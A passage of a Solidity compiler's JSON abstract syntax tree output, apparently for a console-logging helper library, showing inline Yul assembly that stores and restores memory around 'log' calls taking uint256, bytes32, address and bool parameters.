ulBlock","src":"281229:40:22","statements":[{"body":{"nativeSrc":"281258:9:22","nodeType":"YulBlock","src":"281258:9:22","statements":[{"nativeSrc":"281260:5:22","nodeType":"YulBreak","src":"281260:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"281246:6:22","nodeType":"YulIdentifier","src":"281246:6:22"},{"name":"w","nativeSrc":"281254:1:22","nodeType":"YulIdentifier","src":"281254:1:22"}],"functionName":{"name":"byte","nativeSrc":"281241:4:22","nodeType":"YulIdentifier","src":"281241:4:22"},"nativeSrc":"281241:15:22","nodeType":"YulFunctionCall","src":"281241:15:22"}],"functionName":{"name":"iszero","nativeSrc":"281234:6:22","nodeType":"YulIdentifier","src":"281234:6:22"},"nativeSrc":"281234:23:22","nodeType":"YulFunctionCall","src":"281234:23:22"},"nativeSrc":"281231:36:22","nodeType":"YulIf","src":"281231:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"281186:6:22","nodeType":"YulIdentifier","src":"281186:6:22"},{"kind":"number","nativeSrc":"281194:4:22","nodeType":"YulLiteral","src":"281194:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"281183:2:22","nodeType":"YulIdentifier","src":"281183:2:22"},"nativeSrc":"281183:16:22","nodeType":"YulFunctionCall","src":"281183:16:22"},"nativeSrc":"281176:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"281200:28:22","nodeType":"YulBlock","src":"281200:28:22","statements":[{"nativeSrc":"281202:24:22","nodeType":"YulAssignment","src":"281202:24:22","value":{"arguments":[{"name":"length","nativeSrc":"281216:6:22","nodeType":"YulIdentifier","src":"281216:6:22"},{"kind":"number","nativeSrc":"281224:1:22","nodeType":"YulLiteral","src":"281224:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"281212:3:22","nodeType":"YulIdentifier","src":"281212:3:22"},"nativeSrc":"281212:14:22","nodeType":"YulFunctionCall","src":"281212:14:22"},"variableNames":[{"name":"length","nativeSrc":"281202:6:22","nodeType":"YulIdentifier","src":"281202:6:22"}]}]},"pre":{"nativeSrc":"281180:2:22","nodeType":"YulBlock","src":"281180:2:22","statements":[]},"src":"281176:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"281293:3:22","nodeType":"YulIdentifier","src":"281293:3:22"},{"name":"length","nativeSrc":"281298:6:22","nodeType":"YulIdentifier","src":"281298:6:22"}],"functionName":{"name":"mstore","nativeSrc":"281286:6:22","nodeType":"YulIdentifier","src":"281286:6:22"},"nativeSrc":"281286:19:22","nodeType":"YulFunctionCall","src":"281286:19:22"},"nativeSrc":"281286:19:22","nodeType":"YulExpressionStatement","src":"281286:19:22"},{"nativeSrc":"281322:37:22","nodeType":"YulVariableDeclaration","src":"281322:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"281339:3:22","nodeType":"YulLiteral","src":"281339:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"281348:1:22","nodeType":"YulLiteral","src":"281348:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"281351:6:22","nodeType":"YulIdentifier","src":"281351:6:22"}],"functionName":{"name":"shl","nativeSrc":"281344:3:22","nodeType":"YulIdentifier","src":"281344:3:22"},"nativeSrc":"281344:14:22","nodeType":"YulFunctionCall","src":"281344:14:22"}],"functionName":{"name":"sub","nativeSrc":"281335:3:22","nodeType":"YulIdentifier","src":"281335:3:22"},"nativeSrc":"281335:24:22","nodeType":"YulFunctionCall","src":"281335:24:22"},"variables":[{"name":"shift","nativeSrc":"281326:5:22","nodeType":"YulTypedName","src":"281326:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"281387:3:22","nodeType":"YulIdentifier","src":"281387:3:22"},{"kind":"number","nativeSrc":"281392:4:22","nodeType":"YulLiteral","src":"281392:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"281383:3:22","nodeType":"YulIdentifier","src":"281383:3:22"},"nativeSrc":"281383:14:22","nodeType":"YulFunctionCall","src":"281383:14:22"},{"arguments":[{"name":"shift","nativeSrc":"281403:5:22","nodeType":"YulIdentifier","src":"281403:5:22"},{"arguments":[{"name":"shift","nativeSrc":"281414:5:22","nodeType":"YulIdentifier","src":"281414:5:22"},{"name":"w","nativeSrc":"281421:1:22","nodeType":"YulIdentifier","src":"281421:1:22"}],"functionName":{"name":"shr","nativeSrc":"281410:3:22","nodeType":"YulIdentifier","src":"281410:3:22"},"nativeSrc":"281410:13:22","nodeType":"YulFunctionCall","src":"281410:13:22"}],"functionName":{"name":"shl","nativeSrc":"281399:3:22","nodeType":"YulIdentifier","src":"281399:3:22"},"nativeSrc":"281399:25:22","nodeType":"YulFunctionCall","src":"281399:25:22"}],"functionName":{"name":"mstore","nativeSrc":"281376:6:22","nodeType":"YulIdentifier","src":"281376:6:22"},"nativeSrc":"281376:49:22","nodeType":"YulFunctionCall","src":"281376:49:22"},"nativeSrc":"281376:49:22","nodeType":"YulExpressionStatement","src":"281376:49:22"}]},"name":"writeString","nativeSrc":"281097:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"281118:3:22","nodeType":"YulTypedName","src":"281118:3:22","type":""},{"name":"w","nativeSrc":"281123:1:22","nodeType":"YulTypedName","src":"281123:1:22","type":""}],"src":"281097:342:22"},{"nativeSrc":"281452:17:22","nodeType":"YulAssignment","src":"281452:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281464:4:22","nodeType":"YulLiteral","src":"281464:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"281458:5:22","nodeType":"YulIdentifier","src":"281458:5:22"},"nativeSrc":"281458:11:22","nodeType":"YulFunctionCall","src":"281458:11:22"},"variableNames":[{"name":"m0","nativeSrc":"281452:2:22","nodeType":"YulIdentifier","src":"281452:2:22"}]},{"nativeSrc":"281482:17:22","nodeType":"YulAssignment","src":"281482:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281494:4:22","nodeType":"YulLiteral","src":"281494:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"281488:5:22","nodeType":"YulIdentifier","src":"281488:5:22"},"nativeSrc":"281488:11:22","nodeType":"YulFunctionCall","src":"281488:11:22"},"variableNames":[{"name":"m1","nativeSrc":"281482:2:22","nodeType":"YulIdentifier","src":"281482:2:22"}]},{"nativeSrc":"281512:17:22","nodeType":"YulAssignment","src":"281512:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281524:4:22","nodeType":"YulLiteral","src":"281524:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"281518:5:22","nodeType":"YulIdentifier","src":"281518:5:22"},"nativeSrc":"281518:11:22","nodeType":"YulFunctionCall","src":"281518:11:22"},"variableNames":[{"name":"m2","nativeSrc":"281512:2:22","nodeType":"YulIdentifier","src":"281512:2:22"}]},{"nativeSrc":"281542:17:22","nodeType":"YulAssignment","src":"281542:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281554:4:22","nodeType":"YulLiteral","src":"281554:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"281548:5:22","nodeType":"YulIdentifier","src":"281548:5:22"},"nativeSrc":"281548:11:22","nodeType":"YulFunctionCall","src":"281548:11:22"},"variableNames":[{"name":"m3","nativeSrc":"281542:2:22","nodeType":"YulIdentifier","src":"281542:2:22"}]},{"nativeSrc":"281572:17:22","nodeType":"YulAssignment","src":"281572:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281584:4:22","nodeType":"YulLiteral","src":"281584:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"281578:5:22","nodeType":"YulIdentifier","src":"281578:5:22"},"nativeSrc":"281578:11:22","nodeType":"YulFunctionCall","src":"281578:11:22"},"variableNames":[{"name":"m4","nativeSrc":"281572:2:22","nodeType":"YulIdentifier","src":"281572:2:22"}]},{"nativeSrc":"281602:17:22","nodeType":"YulAssignment","src":"281602:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281614:4:22","nodeType":"YulLiteral","src":"281614:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"281608:5:22","nodeType":"YulIdentifier","src":"281608:5:22"},"nativeSrc":"281608:11:22","nodeType":"YulFunctionCall","src":"281608:11:22"},"variableNames":[{"name":"m5","nativeSrc":"281602:2:22","nodeType":"YulIdentifier","src":"281602:2:22"}]},{"nativeSrc":"281632:17:22","nodeType":"YulAssignment","src":"281632:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"281644:4:22","nodeType":"YulLiteral","src":"281644:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"281638:5:22","nodeType":"YulIdentifier","src":"281638:5:22"},"nativeSrc":"281638:11:22","nodeType":"YulFunctionCall","src":"281638:11:22"},"variableNames":[{"name":"m6","nativeSrc":"281632:2:22","nodeType":"YulIdentifier","src":"281632:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"281732:4:22","nodeType":"YulLiteral","src":"281732:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"281738:10:22","nodeType":"YulLiteral","src":"281738:10:22","type":"","value":"0x90c30a56"}],"functionName":{"name":"mstore","nativeSrc":"281725:6:22","nodeType":"YulIdentifier","src":"281725:6:22"},"nativeSrc":"281725:24:22","nodeType":"YulFunctionCall","src":"281725:24:22"},"nativeSrc":"281725:24:22","nodeType":"YulExpressionStatement","src":"281725:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"281769:4:22","nodeType":"YulLiteral","src":"281769:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"281775:2:22","nodeType":"YulIdentifier","src":"281775:2:22"}],"functionName":{"name":"mstore","nativeSrc":"281762:6:22","nodeType":"YulIdentifier","src":"281762:6:22"},"nativeSrc":"281762:16:22","nodeType":"YulFunctionCall","src":"281762:16:22"},"nativeSrc":"281762:16:22","nodeType":"YulExpressionStatement","src":"281762:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"281798:4:22","nodeType":"YulLiteral","src":"281798:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"281804:4:22","nodeType":"YulLiteral","src":"281804:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"281791:6:22","nodeType":"YulIdentifier","src":"281791:6:22"},"nativeSrc":"281791:18:22","nodeType":"YulFunctionCall","src":"281791:18:22"},"nativeSrc":"281791:18:22","nodeType":"YulExpressionStatement","src":"281791:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"281829:4:22","nodeType":"YulLiteral","src":"281829:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"281835:2:22","nodeType":"YulIdentifier","src":"281835:2:22"}],"functionName":{"name":"mstore","nativeSrc":"281822:6:22","nodeType":"YulIdentifier","src":"281822:6:22"},"nativeSrc":"281822:16:22","nodeType":"YulFunctionCall","src":"281822:16:22"},"nativeSrc":"281822:16:22","nodeType":"YulExpressionStatement","src":"281822:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"281858:4:22","nodeType":"YulLiteral","src":"281858:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"281864:2:22","nodeType":"YulIdentifier","src":"281864:2:22"}],"functionName":{"name":"mstore","nativeSrc":"281851:6:22","nodeType":"YulIdentifier","src":"281851:6:22"},"nativeSrc":"281851:16:22","nodeType":"YulFunctionCall","src":"281851:16:22"},"nativeSrc":"281851:16:22","nodeType":"YulExpressionStatement","src":"281851:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"281892:4:22","nodeType":"YulLiteral","src":"281892:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"281898:2:22","nodeType":"YulIdentifier","src":"281898:2:22"}],"functionName":{"name":"writeString","nativeSrc":"281880:11:22","nodeType":"YulIdentifier","src":"281880:11:22"},"nativeSrc":"281880:21:22","nodeType":"YulFunctionCall","src":"281880:21:22"},"nativeSrc":"281880:21:22","nodeType":"YulExpressionStatement","src":"281880:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43102,"isOffset":false,"isSlot":false,"src":"281452:2:22","valueSize":1},{"declaration":43105,"isOffset":false,"isSlot":false,"src":"281482:2:22","valueSize":1},{"declaration":43108,"isOffset":false,"isSlot":false,"src":"281512:2:22","valueSize":1},{"declaration":43111,"isOffset":false,"isSlot":false,"src":"281542:2:22","valueSize":1},{"declaration":43114,"isOffset":false,"isSlot":false,"src":"281572:2:22","valueSize":1},{"declaration":43117,"isOffset":false,"isSlot":false,"src":"281602:2:22","valueSize":1},{"declaration":43120,"isOffset":false,"isSlot":false,"src":"281632:2:22","valueSize":1},{"declaration":43092,"isOffset":false,"isSlot":false,"src":"281775:2:22","valueSize":1},{"declaration":43094,"isOffset":false,"isSlot":false,"src":"281898:2:22","valueSize":1},{"declaration":43096,"isOffset":false,"isSlot":false,"src":"281835:2:22","valueSize":1},{"declaration":43098,"isOffset":false,"isSlot":false,"src":"281864:2:22","valueSize":1}],"id":43122,"nodeType":"InlineAssembly","src":"281074:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43124,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"281936:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43125,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"281942:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43123,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"281920:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43126,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"281920:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43127,"nodeType":"ExpressionStatement","src":"281920:27:22"},{"AST":{"nativeSrc":"281966:214:22","nodeType":"YulBlock","src":"281966:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"281987:4:22","nodeType":"YulLiteral","src":"281987:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"281993:2:22","nodeType":"YulIdentifier","src":"281993:2:22"}],"functionName":{"name":"mstore","nativeSrc":"281980:6:22","nodeType":"YulIdentifier","src":"281980:6:22"},"nativeSrc":"281980:16:22","nodeType":"YulFunctionCall","src":"281980:16:22"},"nativeSrc":"281980:16:22","nodeType":"YulExpressionStatement","src":"281980:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"282016:4:22","nodeType":"YulLiteral","src":"282016:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"282022:2:22","nodeType":"YulIdentifier","src":"282022:2:22"}],"functionName":{"name":"mstore","nativeSrc":"282009:6:22","nodeType":"YulIdentifier","src":"282009:6:22"},"nativeSrc":"282009:16:22","nodeType":"YulFunctionCall","src":"282009:16:22"},"nativeSrc":"282009:16:22","nodeType":"YulExpressionStatement","src":"282009:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"282045:4:22","nodeType":"YulLiteral","src":"282045:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"282051:2:22","nodeType":"YulIdentifier","src":"282051:2:22"}],"functionName":{"name":"mstore","nativeSrc":"282038:6:22","nodeType":"YulIdentifier","src":"282038:6:22"},"nativeSrc":"282038:16:22","nodeType":"YulFunctionCall","src":"282038:16:22"},"nativeSrc":"282038:16:22","nodeType":"YulExpressionStatement","src":"282038:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"282074:4:22","nodeType":"YulLiteral","src":"282074:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"282080:2:22","nodeType":"YulIdentifier","src":"282080:2:22"}],"functionName":{"name":"mstore","nativeSrc":"282067:6:22","nodeType":"YulIdentifier","src":"282067:6:22"},"nativeSrc":"282067:16:22","nodeType":"YulFunctionCall","src":"282067:16:22"},"nativeSrc":"282067:16:22","nodeType":"YulExpressionStatement","src":"282067:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"282103:4:22","nodeType":"YulLiteral","src":"282103:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"282109:2:22","nodeType":"YulIdentifier","src":"282109:2:22"}],"functionName":{"name":"mstore","nativeSrc":"282096:6:22","nodeType":"YulIdentifier","src":"282096:6:22"},"nativeSrc":"282096:16:22","nodeType":"YulFunctionCall","src":"282096:16:22"},"nativeSrc":"282096:16:22","nodeType":"YulExpressionStatement","src":"282096:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"282132:4:22","nodeType":"YulLiteral","src":"282132:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"282138:2:22","nodeType":"YulIdentifier","src":"282138:2:22"}],"functionName":{"name":"mstore","nativeSrc":"282125:6:22","nodeType":"YulIdentifier","src":"282125:6:22"},"nativeSrc":"282125:16:22","nodeType":"YulFunctionCall","src":"282125:16:22"},"nativeSrc":"282125:16:22","nodeType":"YulExpressionStatement","src":"282125:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"282161:4:22","nodeType":"YulLiteral","src":"282161:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"282167:2:22","nodeType":"YulIdentifier","src":"282167:2:22"}],"functionName":{"name":"mstore","nativeSrc":"282154:6:22","nodeType":"YulIdentifier","src":"282154:6:22"},"nativeSrc":"282154:16:22","nodeType":"YulFunctionCall","src":"282154:16:22"},"nativeSrc":"282154:16:22","nodeType":"YulExpressionStatement","src":"282154:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43102,"isOffset":false,"isSlot":false,"src":"281993:2:22","valueSize":1},{"declaration":43105,"isOffset":false,"isSlot":false,"src":"282022:2:22","valueSize":1},{"declaration":43108,"isOffset":false,"isSlot":false,"src":"282051:2:22","valueSize":1},{"declaration":43111,"isOffset":false,"isSlot":false,"src":"282080:2:22","valueSize":1},{"declaration":43114,"isOffset":false,"isSlot":false,"src":"282109:2:22","valueSize":1},{"declaration":43117,"isOffset":false,"isSlot":false,"src":"282138:2:22","valueSize":1},{"declaration":43120,"isOffset":false,"isSlot":false,"src":"282167:2:22","valueSize":1}],"id":43128,"nodeType":"InlineAssembly","src":"281957:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"280861:3:22","parameters":{"id":43099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43092,"mutability":"mutable","name":"p0","nameLocation":"280873:2:22","nodeType":"VariableDeclaration","scope":43130,"src":"280865:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":43091,"name":"uint256","nodeType":"ElementaryTypeName","src":"280865:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":43094,"mutability":"mutable","name":"p1","nameLocation":"280885:2:22","nodeType":"VariableDeclaration","scope":43130,"src":"280877:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43093,"name":"bytes32","nodeType":"ElementaryTypeName","src":"280877:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43096,"mutability":"mutable","name":"p2","nameLocation":"280897:2:22","nodeType":"VariableDeclaration","scope":43130,"src":"280889:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43095,"name":"address","nodeType":"ElementaryTypeName","src":"280889:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43098,"mutability":"mutable","name":"p3","nameLocation":"280906:2:22","nodeType":"VariableDeclaration","scope":43130,"src":"280901:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43097,"name":"bool","nodeType":"ElementaryTypeName","src":"280901:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"280864:45:22"},"returnParameters":{"id":43100,"nodeType":"ParameterList","parameters":[],"src":"280924:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43170,"nodeType":"FunctionDefinition","src":"282192:1340:22","nodes":[],"body":{"id":43169,"nodeType":"Block","src":"282267:1265:22","nodes":[],"statements":[{"assignments":[43142],"declarations":[{"constant":false,"id":43142,"mutability":"mutable","name":"m0","nameLocation":"282285:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282277:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43141,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282277:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43143,"nodeType":"VariableDeclarationStatement","src":"282277:10:22"},{"assignments":[43145],"declarations":[{"constant":false,"id":43145,"mutability":"mutable","name":"m1","nameLocation":"282305:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282297:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43144,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282297:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43146,"nodeType":"VariableDeclarationStatement","src":"282297:10:22"},{"assignments":[43148],"declarations":[{"constant":false,"id":43148,"mutability":"mutable","name":"m2","nameLocation":"282325:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282317:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43147,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282317:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43149,"nodeType":"VariableDeclarationStatement","src":"282317:10:22"},{"assignments":[43151],"declarations":[{"constant":false,"id":43151,"mutability":"mutable","name":"m3","nameLocation":"282345:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282337:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282337:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43152,"nodeType":"VariableDeclarationStatement","src":"282337:10:22"},{"assignments":[43154],"declarations":[{"constant":false,"id":43154,"mutability":"mutable","name":"m4","nameLocation":"282365:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282357:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43153,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282357:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43155,"nodeType":"VariableDeclarationStatement","src":"282357:10:22"},{"assignments":[43157],"declarations":[{"constant":false,"id":43157,"mutability":"mutable","name":"m5","nameLocation":"282385:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282377:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43156,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282377:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43158,"nodeType":"VariableDeclarationStatement","src":"282377:10:22"},{"assignments":[43160],"declarations":[{"constant":false,"id":43160,"mutability":"mutable","name":"m6","nameLocation":"282405:2:22","nodeType":"VariableDeclaration","scope":43169,"src":"282397:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"282397:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43161,"nodeType":"VariableDeclarationStatement","src":"282397:10:22"},{"AST":{"nativeSrc":"282426:831:22","nodeType":"YulBlock","src":"282426:831:22","statements":[{"body":{"nativeSrc":"282469:313:22","nodeType":"YulBlock","src":"282469:313:22","statements":[{"nativeSrc":"282487:15:22","nodeType":"YulVariableDeclaration","src":"282487:15:22","value":{"kind":"number","nativeSrc":"282501:1:22","nodeType":"YulLiteral","src":"282501:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"282491:6:22","nodeType":"YulTypedName","src":"282491:6:22","type":""}]},{"body":{"nativeSrc":"282572:40:22","nodeType":"YulBlock","src":"282572:40:22","statements":[{"body":{"nativeSrc":"282601:9:22","nodeType":"YulBlock","src":"282601:9:22","statements":[{"nativeSrc":"282603:5:22","nodeType":"YulBreak","src":"282603:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"282589:6:22","nodeType":"YulIdentifier","src":"282589:6:22"},{"name":"w","nativeSrc":"282597:1:22","nodeType":"YulIdentifier","src":"282597:1:22"}],"functionName":{"name":"byte","nativeSrc":"282584:4:22","nodeType":"YulIdentifier","src":"282584:4:22"},"nativeSrc":"282584:15:22","nodeType":"YulFunctionCall","src":"282584:15:22"}],"functionName":{"name":"iszero","nativeSrc":"282577:6:22","nodeType":"YulIdentifier","src":"282577:6:22"},"nativeSrc":"282577:23:22","nodeType":"YulFunctionCall","src":"282577:23:22"},"nativeSrc":"282574:36:22","nodeType":"YulIf","src":"282574:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"282529:6:22","nodeType":"YulIdentifier","src":"282529:6:22"},{"kind":"number","nativeSrc":"282537:4:22","nodeType":"YulLiteral","src":"282537:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"282526:2:22","nodeType":"YulIdentifier","src":"282526:2:22"},"nativeSrc":"282526:16:22","nodeType":"YulFunctionCall","src":"282526:16:22"},"nativeSrc":"282519:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"282543:28:22","nodeType":"YulBlock","src":"282543:28:22","statements":[{"nativeSrc":"282545:24:22","nodeType":"YulAssignment","src":"282545:24:22","value":{"arguments":[{"name":"length","nativeSrc":"282559:6:22","nodeType":"YulIdentifier","src":"282559:6:22"},{"kind":"number","nativeSrc":"282567:1:22","nodeType":"YulLiteral","src":"282567:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"282555:3:22","nodeType":"YulIdentifier","src":"282555:3:22"},"nativeSrc":"282555:14:22","nodeType":"YulFunctionCall","src":"282555:14:22"},"variableNames":[{"name":"length","nativeSrc":"282545:6:22","nodeType":"YulIdentifier","src":"282545:6:22"}]}]},"pre":{"nativeSrc":"282523:2:22","nodeType":"YulBlock","src":"282523:2:22","statements":[]},"src":"282519:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"282636:3:22","nodeType":"YulIdentifier","src":"282636:3:22"},{"name":"length","nativeSrc":"282641:6:22","nodeType":"YulIdentifier","src":"282641:6:22"}],"functionName":{"name":"mstore","nativeSrc":"282629:6:22","nodeType":"YulIdentifier","src":"282629:6:22"},"nativeSrc":"282629:19:22","nodeType":"YulFunctionCall","src":"282629:19:22"},"nativeSrc":"282629:19:22","nodeType":"YulExpressionStatement","src":"282629:19:22"},{"nativeSrc":"282665:37:22","nodeType":"YulVariableDeclaration","src":"282665:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"282682:3:22","nodeType":"YulLiteral","src":"282682:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"282691:1:22","nodeType":"YulLiteral","src":"282691:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"282694:6:22","nodeType":"YulIdentifier","src":"282694:6:22"}],"functionName":{"name":"shl","nativeSrc":"282687:3:22","nodeType":"YulIdentifier","src":"282687:3:22"},"nativeSrc":"282687:14:22","nodeType":"YulFunctionCall","src":"282687:14:22"}],"functionName":{"name":"sub","nativeSrc":"282678:3:22","nodeType":"YulIdentifier","src":"282678:3:22"},"nativeSrc":"282678:24:22","nodeType":"YulFunctionCall","src":"282678:24:22"},"variables":[{"name":"shift","nativeSrc":"282669:5:22","nodeType":"YulTypedName","src":"282669:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"282730:3:22","nodeType":"YulIdentifier","src":"282730:3:22"},{"kind":"number","nativeSrc":"282735:4:22","nodeType":"YulLiteral","src":"282735:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"282726:3:22","nodeType":"YulIdentifier","src":"282726:3:22"},"nativeSrc":"282726:14:22","nodeType":"YulFunctionCall","src":"282726:14:22"},{"arguments":[{"name":"shift","nativeSrc":"282746:5:22","nodeType":"YulIdentifier","src":"282746:5:22"},{"arguments":[{"name":"shift","nativeSrc":"282757:5:22","nodeType":"YulIdentifier","src":"282757:5:22"},{"name":"w","nativeSr